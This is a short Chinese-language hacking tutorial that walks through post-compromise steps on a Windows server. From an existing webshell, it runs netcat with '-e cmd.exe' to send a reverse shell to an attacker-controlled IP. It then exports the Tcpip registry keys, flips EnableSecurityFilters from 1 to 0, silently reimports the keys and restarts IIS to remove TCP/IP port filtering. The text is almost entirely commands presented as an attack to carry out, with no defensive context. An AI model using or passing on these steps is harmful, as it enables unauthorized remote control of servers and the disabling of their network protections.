1.用NC反彈得到一個shell 

本機監聽 NC -l -p 32 

WEBSHELL運行： 

x:/xxx/serv-u.exe "x:/xxx/nc.exe -e cmd.exe *.*.*.* port" 

得到一個shell 

2.CMD下導出注冊表文件 
C:/>regedit -e x:/xxx/1.reg HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Ser 
vices/Tcpip 

C:/>regedit -e x:/xxx/2.reg HKEY_LOCAL_MACHINE/SYSTEM/ControlSet002/Services/Tcpip 

C:/>regedit -e x:/xxx/3.reg HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip 

修改各文件 EnableSecurityFilters 處 
將最后的1改為0 

3.將注冊表文件導入 
x:/xxx>regedit -s 1.reg 
x:/xxx>regedit -s 2.reg 
x:/xxx>regedit -s 3.reg 
-S 為無提示 

重啟命令 iisreset /reboot 

完成TCP/IP篩選限制